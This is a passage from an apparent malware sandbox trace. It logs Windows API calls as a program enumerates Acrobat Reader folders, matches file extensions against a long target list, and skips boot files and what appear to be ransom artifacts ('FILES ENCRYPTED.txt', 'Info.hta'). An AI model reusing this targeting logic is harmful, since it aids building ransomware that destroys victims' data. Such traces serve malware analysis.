lstrlenW (lpString=".dif") returned 4 [0274.417] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0274.417] lstrlenW (lpString=".divx") returned 5 [0274.417] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0274.417] lstrlenW (lpString=".djvu") returned 5 [0274.417] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0274.417] lstrlenW (lpString=".dng") returned 4 [0274.417] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0274.417] lstrlenW (lpString=".doc") returned 4 [0274.417] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0274.417] lstrlenW (lpString=".docm") returned 5 [0274.417] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0274.417] lstrlenW (lpString=".docx") returned 5 [0274.417] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0274.417] lstrlenW (lpString=".dot") returned 4 [0274.417] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0274.417] lstrlenW (lpString=".dotm") returned 5 [0274.418] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0274.418] lstrlenW (lpString=".dotx") returned 5 [0274.418] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0274.418] lstrlenW (lpString=".dpx") returned 4 [0274.418] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0274.418] lstrlenW (lpString=".dqy") returned 4 [0274.418] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0274.418] lstrlenW (lpString=".dsn") returned 4 [0274.418] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0274.418] lstrlenW (lpString=".dt") returned 3 [0274.418] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0274.418] lstrlenW (lpString=".dtd") returned 4 [0274.418] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0274.418] lstrlenW (lpString=".dwg") returned 4 [0274.418] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0274.418] lstrlenW (lpString=".dwt") returned 4 [0274.419] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0274.419] lstrlenW (lpString=".dx") returned 3 [0274.419] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0274.419] lstrlenW (lpString=".dxf") returned 4 [0274.419] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0274.419] lstrlenW (lpString=".edml") returned 5 [0274.419] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0274.419] lstrlenW (lpString=".efd") returned 4 [0274.419] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0274.419] lstrlenW (lpString=".elf") returned 4 [0274.419] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0274.419] lstrlenW (lpString=".emf") returned 4 [0274.419] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0274.419] lstrlenW (lpString=".emz") returned 4 [0274.419] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0274.419] lstrlenW (lpString=".epf") returned 4 [0274.419] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0274.419] lstrlenW (lpString=".eps") returned 4 [0274.419] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0274.419] lstrlenW (lpString=".epsf") returned 5 [0274.419] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0274.419] lstrlenW (lpString=".epsp") returned 5 [0274.419] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0274.419] lstrlenW (lpString=".erf") returned 4 [0274.419] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0274.419] lstrlenW (lpString=".exr") returned 4 [0274.419] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0274.420] lstrlenW (lpString=".f4v") returned 4 [0274.420] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0274.420] lstrlenW (lpString=".fido") returned 5 [0274.420] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0274.420] lstrlenW (lpString=".flm") returned 4 [0274.420] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0274.420] lstrlenW (lpString=".flv") returned 4 [0274.420] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0274.420] lstrlenW (lpString=".frm") returned 4 [0274.420] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0274.420] lstrlenW (lpString=".fxg") returned 4 [0274.420] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0274.420] lstrlenW (lpString=".geo") returned 4 [0274.420] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0274.420] lstrlenW (lpString=".gif") returned 4 [0274.420] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0274.420] lstrlenW (lpString=".grs") returned 4 [0274.420] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0274.420] lstrlenW (lpString=".gz") returned 3 [0274.420] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0274.420] lstrlenW (lpString=".h") returned 2 [0274.420] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0274.420] lstrlenW (lpString=".hdr") returned 4 [0274.420] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0274.420] lstrlenW (lpString=".hpp") returned 4 [0274.420] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0274.420] lstrlenW (lpString=".hta") returned 4 [0274.420] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0274.420] lstrlenW (lpString=".htc") returned 4 [0274.420] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0274.420] lstrlenW (lpString=".htm") returned 4 [0274.420] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0274.420] lstrlenW (lpString=".html") returned 5 [0274.421] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0274.421] lstrlenW (lpString=".icb") returned 4 [0274.421] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0274.421] lstrlenW (lpString=".ics") returned 4 [0274.421] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0274.421] lstrlenW (lpString=".iff") returned 4 [0274.421] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0274.421] lstrlenW (lpString=".inc") returned 4 [0274.421] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0274.421] lstrlenW (lpString=".indd") returned 5 [0274.421] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0274.421] lstrlenW (lpString=".ini") returned 4 [0274.421] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0274.421] lstrlenW (lpString=".iqy") returned 4 [0274.421] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0274.421] lstrlenW (lpString=".j2c") returned 4 [0274.421] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0274.421] lstrlenW (lpString=".j2k") returned 4 [0274.421] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0274.421] lstrlenW (lpString=".java") returned 5 [0274.421] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0274.421] lstrlenW (lpString=".jp2") returned 4 [0274.421] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0274.421] lstrlenW (lpString=".jpc") returned 4 [0274.421] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0274.421] lstrlenW (lpString=".jpe") returned 4 [0274.421] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0274.421] lstrlenW (lpString=".jpeg") returned 5 [0274.421] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0274.421] lstrlenW (lpString=".jpf") returned 4 [0274.421] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0274.422] lstrlenW (lpString=".jpg") returned 4 [0274.422] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0274.422] lstrlenW (lpString=".jpx") returned 4 [0274.422] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0274.422] lstrlenW (lpString=".js") returned 3 [0274.422] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0274.422] lstrlenW (lpString="ui-strings.js") returned 13 [0274.422] lstrlenW (lpString=".love$") returned 6 [0274.422] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0274.422] lstrlenW (lpString="ui-strings.js") returned 13 [0274.422] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0274.422] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0274.422] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0274.422] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0274.422] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0274.422] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0274.422] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0274.422] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0274.422] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\ui-strings.js") returned 133 [0274.422] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.422] FindClose (in: hFindFile=0x3315670 | out: hFindFile=0x3315670) returned 1 [0274.422] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0274.422] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0274.423] FindClose (in: hFindFile=0x33159b0 | out: hFindFile=0x33159b0) returned 1 [0274.423] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0274.423] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9838, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0274.423] lstrlenW (lpString="plugin.js") returned 9 [0274.423] lstrlenW (lpString=".1cd") returned 4 [0274.423] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1 [0274.423] lstrlenW (lpString=".3ds") returned 4 [0274.423] lstrcmpiW (lpString1=".3ds", lpString2="n.js") returned -1 [0274.423] lstrlenW (lpString=".3fr") returned 4 [0274.423] lstrcmpiW (lpString1=".3fr", lpString2="n.js") returned -1 [0274.423] lstrlenW (lpString=".3g2") returned 4 [0274.423] lstrcmpiW (lpString1=".3g2", lpString2="n.js") returned -1 [0274.423] lstrlenW (lpString=".3gp") returned 4 [0274.423] lstrcmpiW (lpString1=".3gp", lpString2="n.js") returned -1 [0274.423] lstrlenW (lpString=".7z") returned 3 [0274.423] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0274.423] lstrlenW (lpString=".accda") returned 6 [0274.423] lstrcmpiW (lpString1=".accda", lpString2="gin.js") returned -1 [0274.423] lstrlenW (lpString=".accdb") returned 6 [0274.423] lstrcmpiW (lpString1=".accdb", lpString2="gin.js") returned -1 [0274.423] lstrlenW (lpString=".accdc") returned 6 [0274.423] lstrcmpiW (lpString1=".accdc", lpString2="gin.js") returned -1 [0274.423] lstrlenW (lpString=".accde") returned 6 [0274.423] lstrcmpiW (lpString1=".accde", lpString2="gin.js") returned -1 [0274.423] lstrlenW (lpString=".accdt") returned 6 [0274.423] lstrcmpiW (lpString1=".accdt", lpString2="gin.js") returned -1 [0274.423] lstrlenW (lpString=".accdw") returned 6 [0274.423] lstrcmpiW (lpString1=".accdw", lpString2="gin.js") returned -1 [0274.424] lstrlenW (lpString=".adb") returned 4 [0274.424] lstrcmpiW (lpString1=".adb", lpString2="n.js") returned -1 [0274.424] lstrlenW (lpString=".adp") returned 4 [0274.424] lstrcmpiW (lpString1=".adp", lpString2="n.js") returned -1 [0274.424] lstrlenW (lpString=".ai") returned 3 [0274.424] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0274.424] lstrlenW (lpString=".ai3") returned 4 [0274.424] lstrcmpiW (lpString1=".ai3", lpString2="n.js") returned -1 [0274.424] lstrlenW (lpString=".ai4") returned 4 [0274.424] lstrcmpiW (lpString1=".ai4", lpString2="n.js") returned -1 [0274.424] lstrlenW (lpString=".ai5") returned 4 [0274.424] lstrcmpiW (lpString1=".ai5", lpString2="n.js") returned -1 [0274.424] lstrlenW (lpString=".ai6") returned 4 [0274.424] lstrcmpiW (lpString1=".ai6", lpString2="n.js") returned -1 [0274.424] lstrlenW (lpString=".ai7") returned 4 [0274.424] lstrcmpiW (lpString1=".ai7", lpString2="n.js") returned -1 [0274.424] lstrlenW (lpString=".ai8") returned 4 [0274.424] lstrcmpiW (lpString1=".ai8", lpString2="n.js") returned -1 [0274.424] lstrlenW (lpString=".anim") returned 5 [0274.424] lstrcmpiW (lpString1=".anim", lpString2="in.js") returned -1 [0274.424] lstrlenW (lpString=".arw") returned 4 [0274.424] lstrcmpiW (lpString1=".arw", lpString2="n.js") returned -1 [0274.424] lstrlenW (lpString=".as") returned 3 [0274.424] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0274.424] lstrlenW (lpString=".asa") returned 4 [0274.424] lstrcmpiW (lpString1=".asa", lpString2="n.js") returned -1 [0274.424] lstrlenW (lpString=".asc") returned 4 [0274.424] lstrcmpiW (lpString1=".asc", lpString2="n.js") returned -1 [0274.424] lstrlenW (lpString=".ascx") returned 5 [0274.424] lstrcmpiW (lpString1=".ascx", lpString2="in.js") returned -1 [0274.424] lstrlenW (lpString=".asm") returned 4 [0274.424] lstrcmpiW (lpString1=".asm", lpString2="n.js") returned -1 [0274.424] lstrlenW (lpString=".asmx") returned 5 [0274.424] lstrcmpiW (lpString1=".asmx", lpString2="in.js") returned -1 [0274.425] lstrlenW (lpString=".asp") returned 4 [0274.425] lstrcmpiW (lpString1=".asp", lpString2="n.js") returned -1 [0274.425] lstrlenW (lpString=".aspx") returned 5 [0274.425] lstrcmpiW (lpString1=".aspx", lpString2="in.js") returned -1 [0274.425] lstrlenW (lpString=".asr") returned 4 [0274.425] lstrcmpiW (lpString1=".asr", lpString2="n.js") returned -1 [0274.425] lstrlenW (lpString=".asx") returned 4 [0274.425] lstrcmpiW (lpString1=".asx", lpString2="n.js") returned -1 [0274.425] lstrlenW (lpString=".avi") returned 4 [0274.425] lstrcmpiW (lpString1=".avi", lpString2="n.js") returned -1 [0274.425] lstrlenW (lpString=".avs") returned 4 [0274.425] lstrcmpiW (lpString1=".avs", lpString2="n.js") returned -1 [0274.425] lstrlenW (lpString=".backup") returned 7 [0274.425] lstrcmpiW (lpString1=".backup", lpString2="ugin.js") returned -1 [0274.425] lstrlenW (lpString=".bak") returned 4 [0274.425] lstrcmpiW (lpString1=".bak", lpString2="n.js") returned -1 [0274.425] lstrlenW (lpString=".bay") returned 4 [0274.425] lstrcmpiW (lpString1=".bay", lpString2="n.js") returned -1 [0274.425] lstrlenW (lpString=".bd") returned 3 [0274.425] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0274.425] lstrlenW (lpString=".bin") returned 4 [0274.425] lstrcmpiW (lpString1=".bin", lpString2="n.js") returned -1 [0274.425] lstrlenW (lpString=".bmp") returned 4 [0274.425] lstrcmpiW (lpString1=".bmp", lpString2="n.js") returned -1 [0274.425] lstrlenW (lpString=".bz2") returned 4 [0274.425] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1 [0274.425] lstrlenW (lpString=".c") returned 2 [0274.425] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0274.426] lstrlenW (lpString=".cdr") returned 4 [0274.426] lstrcmpiW (lpString1=".cdr", lpString2="n.js") returned -1 [0274.426] lstrlenW (lpString=".cer") returned 4 [0274.426] lstrcmpiW (lpString1=".cer", lpString2="n.js") returned -1 [0274.426] lstrlenW (lpString=".cf") returned 3 [0274.426] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0274.426] lstrlenW (lpString=".cfc") returned 4 [0274.426] lstrcmpiW (lpString1=".cfc", lpString2="n.js") returned -1 [0274.426] lstrlenW (lpString=".cfm") returned 4 [0274.426] lstrcmpiW (lpString1=".cfm", lpString2="n.js") returned -1 [0274.426] lstrlenW (lpString=".cfml") returned 5 [0274.426] lstrcmpiW (lpString1=".cfml", lpString2="in.js") returned -1 [0274.426] lstrlenW (lpString=".cfu") returned 4 [0274.426] lstrcmpiW (lpString1=".cfu", lpString2="n.js") returned -1 [0274.426] lstrlenW (lpString=".chm") returned 4 [0274.426] lstrcmpiW (lpString1=".chm", lpString2="n.js") returned -1 [0274.426] lstrlenW (lpString=".cin") returned 4 [0274.426] lstrcmpiW (lpString1=".cin", lpString2="n.js") returned -1 [0274.426] lstrlenW (lpString=".class") returned 6 [0274.426] lstrcmpiW (lpString1=".class", lpString2="gin.js") returned -1 [0274.426] lstrlenW (lpString=".clx") returned 4 [0274.426] lstrcmpiW (lpString1=".clx", lpString2="n.js") returned -1 [0274.426] lstrlenW (lpString=".config") returned 7 [0274.426] lstrcmpiW (lpString1=".config", lpString2="ugin.js") returned -1 [0274.426] lstrlenW (lpString=".cpp") returned 4 [0274.426] lstrcmpiW (lpString1=".cpp", lpString2="n.js") returned -1 [0274.426] lstrlenW (lpString=".cr2") returned 4 [0274.426] lstrcmpiW (lpString1=".cr2", lpString2="n.js") returned -1 [0274.427] lstrlenW (lpString=".crt") returned 4 [0274.427] lstrcmpiW (lpString1=".crt", lpString2="n.js") returned -1 [0274.427] lstrlenW (lpString=".crw") returned 4 [0274.427] lstrcmpiW (lpString1=".crw", lpString2="n.js") returned -1 [0274.427] lstrlenW (lpString=".cs") returned 3 [0274.427] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0274.427] lstrlenW (lpString=".css") returned 4 [0274.427] lstrcmpiW (lpString1=".css", lpString2="n.js") returned -1 [0274.427] lstrlenW (lpString=".csv") returned 4 [0274.427] lstrcmpiW (lpString1=".csv", lpString2="n.js") returned -1 [0274.427] lstrlenW (lpString=".cub") returned 4 [0274.427] lstrcmpiW (lpString1=".cub", lpString2="n.js") returned -1 [0274.427] lstrlenW (lpString=".dae") returned 4 [0274.427] lstrcmpiW (lpString1=".dae", lpString2="n.js") returned -1 [0274.427] lstrlenW (lpString=".dat") returned 4 [0274.427] lstrcmpiW (lpString1=".dat", lpString2="n.js") returned -1 [0274.427] lstrlenW (lpString=".db") returned 3 [0274.427] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0274.427] lstrlenW (lpString=".dbf") returned 4 [0274.427] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1 [0274.427] lstrlenW (lpString=".dbx") returned 4 [0274.427] lstrcmpiW (lpString1=".dbx", lpString2="n.js") returned -1 [0274.427] lstrlenW (lpString=".dc3") returned 4 [0274.427] lstrcmpiW (lpString1=".dc3", lpString2="n.js") returned -1 [0274.427] lstrlenW (lpString=".dcm") returned 4 [0274.427] lstrcmpiW (lpString1=".dcm", lpString2="n.js") returned -1 [0274.427] lstrlenW (lpString=".dcr") returned 4 [0274.428] lstrcmpiW (lpString1=".dcr", lpString2="n.js") returned -1 [0274.428] lstrlenW (lpString=".der") returned 4 [0274.428] lstrcmpiW (lpString1=".der", lpString2="n.js") returned -1 [0274.428] lstrlenW (lpString=".dib") returned 4 [0274.428] lstrcmpiW (lpString1=".dib", lpString2="n.js") returned -1 [0274.428] lstrlenW (lpString=".dic") returned 4 [0274.428] lstrcmpiW (lpString1=".dic", lpString2="n.js") returned -1 [0274.428] lstrlenW (lpString=".dif") returned 4 [0274.428] lstrcmpiW (lpString1=".dif", lpString2="n.js") returned -1 [0274.428] lstrlenW (lpString=".divx") returned 5 [0274.428] lstrcmpiW (lpString1=".divx", lpString2="in.js") returned -1 [0274.428] lstrlenW (lpString=".djvu") returned 5 [0274.428] lstrcmpiW (lpString1=".djvu", lpString2="in.js") returned -1 [0274.428] lstrlenW (lpString=".dng") returned 4 [0274.428] lstrcmpiW (lpString1=".dng", lpString2="n.js") returned -1 [0274.428] lstrlenW (lpString=".doc") returned 4 [0274.428] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1 [0274.428] lstrlenW (lpString=".docm") returned 5 [0274.428] lstrcmpiW (lpString1=".docm", lpString2="in.js") returned -1 [0274.428] lstrlenW (lpString=".docx") returned 5 [0274.428] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1 [0274.428] lstrlenW (lpString=".dot") returned 4 [0274.428] lstrcmpiW (lpString1=".dot", lpString2="n.js") returned -1 [0274.428] lstrlenW (lpString=".dotm") returned 5 [0274.428] lstrcmpiW (lpString1=".dotm", lpString2="in.js") returned -1 [0274.428] lstrlenW (lpString=".dotx") returned 5 [0274.428] lstrcmpiW (lpString1=".dotx", lpString2="in.js") returned -1 [0274.428] lstrlenW (lpString=".dpx") returned 4 [0274.429] lstrcmpiW (lpString1=".dpx", lpString2="n.js") returned -1 [0274.429] lstrlenW (lpString=".dqy") returned 4 [0274.429] lstrcmpiW (lpString1=".dqy", lpString2="n.js") returned -1 [0274.429] lstrlenW (lpString=".dsn") returned 4 [0274.429] lstrcmpiW (lpString1=".dsn", lpString2="n.js") returned -1 [0274.429] lstrlenW (lpString=".dt") returned 3 [0274.429] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0274.429] lstrlenW (lpString=".dtd") returned 4 [0274.429] lstrcmpiW (lpString1=".dtd", lpString2="n.js") returned -1 [0274.429] lstrlenW (lpString=".dwg") returned 4 [0274.429] lstrcmpiW (lpString1=".dwg", lpString2="n.js") returned -1 [0274.429] lstrlenW (lpString=".dwt") returned 4 [0274.429] lstrcmpiW (lpString1=".dwt", lpString2="n.js") returned -1 [0274.429] lstrlenW (lpString=".dx") returned 3 [0274.429] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0274.429] lstrlenW (lpString=".dxf") returned 4 [0274.429] lstrcmpiW (lpString1=".dxf", lpString2="n.js") returned -1 [0274.429] lstrlenW (lpString=".edml") returned 5 [0274.429] lstrcmpiW (lpString1=".edml", lpString2="in.js") returned -1 [0274.429] lstrlenW (lpString=".efd") returned 4 [0274.429] lstrcmpiW (lpString1=".efd", lpString2="n.js") returned -1 [0274.429] lstrlenW (lpString=".elf") returned 4 [0274.429] lstrcmpiW (lpString1=".elf", lpString2="n.js") returned -1 [0274.429] lstrlenW (lpString=".emf") returned 4 [0274.429] lstrcmpiW (lpString1=".emf", lpString2="n.js") returned -1 [0274.429] lstrlenW (lpString=".emz") returned 4 [0274.429] lstrcmpiW (lpString1=".emz", lpString2="n.js") returned -1 [0274.429] lstrlenW (lpString=".epf") returned 4 [0274.429] lstrcmpiW (lpString1=".epf", lpString2="n.js") returned -1 [0274.430] lstrlenW (lpString=".eps") returned 4 [0274.430] lstrcmpiW (lpString1=".eps", lpString2="n.js") returned -1 [0274.430] lstrlenW (lpString=".epsf") returned 5 [0274.430] lstrcmpiW (lpString1=".epsf", lpString2="in.js") returned -1 [0274.430] lstrlenW (lpString=".epsp") returned 5 [0274.430] lstrcmpiW (lpString1=".epsp", lpString2="in.js") returned -1 [0274.430] lstrlenW (lpString=".erf") returned 4 [0274.430] lstrcmpiW (lpString1=".erf", lpString2="n.js") returned -1 [0274.430] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc2b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="selector.js", cAlternateFileName="")) returned 1 [0274.430] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc2b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="selector.js", cAlternateFileName="")) returned 0 [0274.430] FindClose (in: hFindFile=0x3315630 | out: hFindFile=0x3315630) returned 1 [0274.430] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5060050 | out: hHeap=0x670000) returned 1 [0274.430] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0274.431] FindClose (in: hFindFile=0x3315a70 | out: hFindFile=0x3315a70) returned 1 [0274.431] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0274.434] FindNextFileW (in: hFindFile=0x3315870, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="add-account-select", cAlternateFileName="ADD-AC~2")) returned 1 [0274.434] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5060050 [0274.434] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select") returned 113 [0274.434] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\*", lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0274.437] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, 